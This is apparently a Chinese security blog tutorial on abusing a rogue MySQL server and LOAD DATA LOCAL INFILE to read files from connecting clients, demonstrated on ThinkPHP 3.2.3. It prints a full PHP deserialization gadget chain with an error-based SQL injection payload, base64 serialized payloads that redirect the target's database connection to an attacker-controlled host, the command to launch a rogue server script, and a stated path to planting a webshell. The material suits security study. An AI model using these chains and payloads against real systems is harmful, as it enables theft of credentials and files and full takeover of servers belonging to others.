<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺析MySQL惡意服務器讀取文件原理

    一顆小胡椒2022-03-25 16:29:51

    前言

    注:本文不涉及對MySQL協議報文研究,僅講解原理,并且做部分演示。

    搭建MySQL惡意服務器讀取文件這件事,雖然直接利用門檻較高,但是由于在網上看到了一種比較新穎的利用方式(利用社會工程學引誘用戶連接MySQL進而讀取用戶文件),個人覺得比較有意思,總結了一下攻擊原理以及攻擊方式,因此就有了這篇文章。

    原理

    在闡述具體原理之前,先介紹幾個SQL語句,以便后文理解

    首先在tmp目錄下新建一個tmp.txt

    內容如下:

    然后執行下方SQL語句,即可將tmp.txt文件導入其中

    mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '';
    Query OK, 3 rows affected (2.63 sec)
    Records: 3  Deleted: 0  Skipped: 0  Warnings: 0
    mysql> select * from Test;
    +-------+
    | name  |
    +-------+
    | admin |
    | user  |
    | Lxxx  |
    +-------+
    3 rows in set (0.00 sec)
    
    • load data local infile語句會讀取客戶端本地的文件
    • load data infile語句會讀取服務端本地的文件
    • terminated by表示以某某字符分割,默認為Tab,這里我設置為了

    這個時候可能就會繞不清楚,什么是服務端,什么是客戶端?

    因為一般情況下,調試SQL都是在本機,并且數據庫也在本機,這樣的情況就導致,客戶端和服務端都是在本地,有點難區分,下面我用一張圖來簡述。

    在本地,由于客戶端和服務端都是在同一個磁盤下,因此,在本地,無論是否加local都是可以將文件傳入數據庫的,而后面講到利用MySQL惡意服務器讀取文件的漏洞,就是需要使用local,來達到將文件帶出的目的。

    下面我畫了兩張圖,第一張圖是正常業務流程,第二張圖是攻擊者惡意攻擊的流程

    正常的后端業務流程如下:

    當攻擊者劫持后端服務器,并且在公網中搭建惡意的MySQL后,流程圖如下:

    這樣攻擊者就可以在后端達到任意文件下載的目的。

    演示

    雖說在之前的某個CTF比賽出過類似的題目,但是我這里還是使用ThinkPHP3.2.3存在的反序列化漏洞,結合MySQL惡意服務器讀取敏感文件,進而RCE的樣例。

    首先在本地先啟動一個ThinkPHP3.2.3的框架,連接好數據庫,在Application/Home/Controller/HelloController.class.php控制器中寫一個反序列化入口

    namespace Home\Controller;
    use Think\Controller;
    class HelloController extends Controller
    {
        public function index($Lxxx){
            echo base64_decode($Lxxx);
            $a = unserialize(base64_decode($Lxxx));
        }
    }
    

    具體的鏈子,我就不跟了,網上也有很多,雖然鏈子具體的方法不跟進,但是我還是需要介紹一下這條鏈子能起到一個什么作用。

    1. 首先需要一個反序列化入口,這是毋庸置疑的,沒有反序列化入口,那就無法進行反序列化,所以上方我就在HelloController控制器中自己寫了一個反序列化入口
    2. 這條鏈子最終的鏈尾是需要數據庫的相關信息,例如數據庫名,數據庫端口,數據庫用戶以及密碼,并且這條鏈子是允許使用堆疊注入的,因此如果知道數據庫相關信息,那么就可以利用堆疊注入寫入一句話木馬進而getshell

    這里我就直接將鏈子放出來,然后演示一下如何搭建一個惡意的MySQL數據庫,獲取敏感文件,進而getshell

    namespace Think\Db\Driver{
        use PDO;
        class Mysql{
            protected $options = array(
                PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 開啟才能讀取文件
            );
            protected $config = array(
                "debug"    => 1,
                "database" => "tp323",
                "hostname" => "127.0.0.1",
                "hostport" => "8889",
                "charset"  => "utf8",
                "username" => "root",
                "password" => "root"
            );
        }
    }
    namespace Think\Image\Driver{
        use Think\Session\Driver\Memcache;
        class Imagick{
            private $img;
            public function __construct(){
                $this->img = new Memcache();
            }
        }
    }
    namespace Think\Session\Driver{
        use Think\Model;
        class Memcache{
            protected $handle;
            public function __construct(){
                $this->handle = new Model();
            }
        }
    }
    namespace Think{
        use Think\Db\Driver\Mysql;
        class Model{
            protected $options   = array();
            protected $pk;
            protected $data = array();
            protected $db = null;
            public function __construct(){
                $this->db = new Mysql();
                $this->options['where'] = '';
                $this->pk = 'id';
                $this->data[$this->pk] = array(
                    "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                    "where" => "1=1"
                );
            }
        }
    }
    namespace {
        echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
    }
    

    上方鏈子中的數據庫信息為我本地的數據庫信息,執行該文件后,得到序列化字符串如下:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
    

    傳給url

    可以看到報錯注入成功

    然后,在公網上搭建一個惡意的MySQL服務,這個腳本在Github中已經有前輩寫好了,具體原理就是分析相關的MySQL報文,然后與后端服務器創建惡意連接,并且獲得自己想要的文件,這里貼出幾個連接,有些項目可能在新的MySQL版本中無法使用。

    • https://github.com/Gifts/Rogue-MySql-Server
    • https://github.com/allyshka/Rogue-MySql-Server
    • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read

    下載好POC之后,修改一下要讀取的文件名

    然后利用Python啟動,啟動完成后,惡意的MySQL就在監聽3307端口

    python rogue_mysql_server.py
    

    接下來修改之前的鏈子,把IP和端口修改為遠程惡意的MySQL地址,然后生成鏈子

    namespace Think\Db\Driver{
        use PDO;
        class Mysql{
            protected $options = array(
                PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 開啟才能讀取文件
            );
            protected $config = array(
                "debug"    => 1,
                "database" => "tp323",
                "hostname" => "1.1.1.1",
                "hostport" => "3307",
                "charset"  => "utf8",
                "username" => "root",
                "password" => "root"
            );
        }
    }
    namespace Think\Image\Driver{
        use Think\Session\Driver\Memcache;
        class Imagick{
            private $img;
            public function __construct(){
                $this->img = new Memcache();
            }
        }
    }
    namespace Think\Session\Driver{
        use Think\Model;
        class Memcache{
            protected $handle;
            public function __construct(){
                $this->handle = new Model();
            }
        }
    }
    namespace Think{
        use Think\Db\Driver\Mysql;
        class Model{
            protected $options   = array();
            protected $pk;
            protected $data = array();
            protected $db = null;
            public function __construct(){
                $this->db = new Mysql();
                $this->options['where'] = '';
                $this->pk = 'id';
                $this->data[$this->pk] = array(
                    "table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
                    "where" => "1=1"
                );
            }
        }
    }
    namespace {
        echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
    }
    

    得到:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==
    

    傳給HomeController控制器

    然后就可以在遠程VPS中的mysql.log得到之前需要惡意下載的文件

    現在得到了相關數據庫信息,然后就可以再次構造鏈子,利用堆疊注入寫入一句話木馬getshell了

    使用場景

    • 能劫持后端服務器,但無法getshell的時候,可以采用這個方法getshell(例如ThinkPHP3.2.3的利用鏈只能到數據庫層,則可以通過這個方法getshell)
    • 能引誘用戶連接惡意MySQL(社會工程學)

    參考資料

    • http://blog.nsfocus.net/malicious-mysql-server-reads-mysql-client-files/
    • https://www.modb.pro/db/51823
    • https://cloud.tencent.com/developer/article/1818089
    • https://github.com/Gifts/Rogue-MySql-Server
    • https://github.com/allyshka/Rogue-MySql-Server
    • https://github.com/jas502n/CVE-2019-12086-jackson-databind-file-read
    mysql導入sql文件mysql
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    idea直接創建新建項目,自動導入xml文件,配置啟動服務器導入sql文件mysql?這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題配置端口啟動tomgcat的時候會亂碼,
    因為看到 Xcheck 發的自動檢測到開源項目 RuoYi 的 sql 注入漏洞,因此打算用該漏洞驗證一下洞態 IAST 的漏洞檢測能力。洞態 IAST 的檢測方式是掃描運行中的應用程序,將掃描到的漏洞信息發送到云端進行處理、展示。
    getshell學習總結
    2022-06-07 08:05:41
    上傳、數據庫備份、配置插馬 關于各種帶有漏洞的應用以及OWASP Top10常規漏洞需要不斷的積累,打造自己的核心知識庫,道路且長。本文僅記錄最近對常見cms后臺getshell的學習總結
    GETSHELL學習總結
    2021-12-17 06:53:12
    一、方法分類 1.帶有漏洞的應用 redis 、tomcat、解析漏洞、編輯器、FTP 2.常規漏洞 sql注入、上傳、文件包含、命令執行、Struts2、代碼反序列化 3.后臺拿shell 上傳、數據庫備份、配置插馬 關于各種帶有漏洞的應用以及OWASP Top10常規漏洞需要不斷的積累,打造自己的核心知識庫,道路且長。本文僅記錄最近對常見cms后臺getshell的學習總結
    SQL 常用腳本整理
    2021-11-07 05:38:27
    常用功能腳本 1.導出整個數據庫 1mysqldump -u 用戶名 -p –default-character-set=latin1 數據庫名 > 導出的文件名(數據庫默認編碼是latin1) 2 3mysqldump -u wcnc -p smgp_apps_wcnc > wcnc.sql 2.導出一個表
    在云SQL上獲取shell
    2022-07-18 17:00:27
    云上的關系數據庫服務,它是由 Google 保護、監控和更新的SQL、PostgreSQL 或 MySQL的服務器。托管 MySQL 實例的限制由于Cloud SQL是一項完全托管的服務,因此用戶無權訪問某些功能。在MySQL中,SUPER權限保留用于系統管理相關任務,FILE權限用于讀取/寫入運行 MySQL服務器上的文件
    dolphin 是一個的資產風險分析系統,僅需將一個主域名添加到系統中,dolphin會自動抓取與該域名相關的信息進行分析; 例如同ICP域名,子域名,對應IP,端口,URL地址,站點截圖,端口協議,郵箱地址,泄露信息等.
    事先準備一臺linux主機,并且已安裝好docker環境。centos安裝docker環境如下:查詢可安裝版本:
    事先準備一臺linux主機,并且已安裝好docker環境。centos安裝docker環境如下:查詢可安裝版本:
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类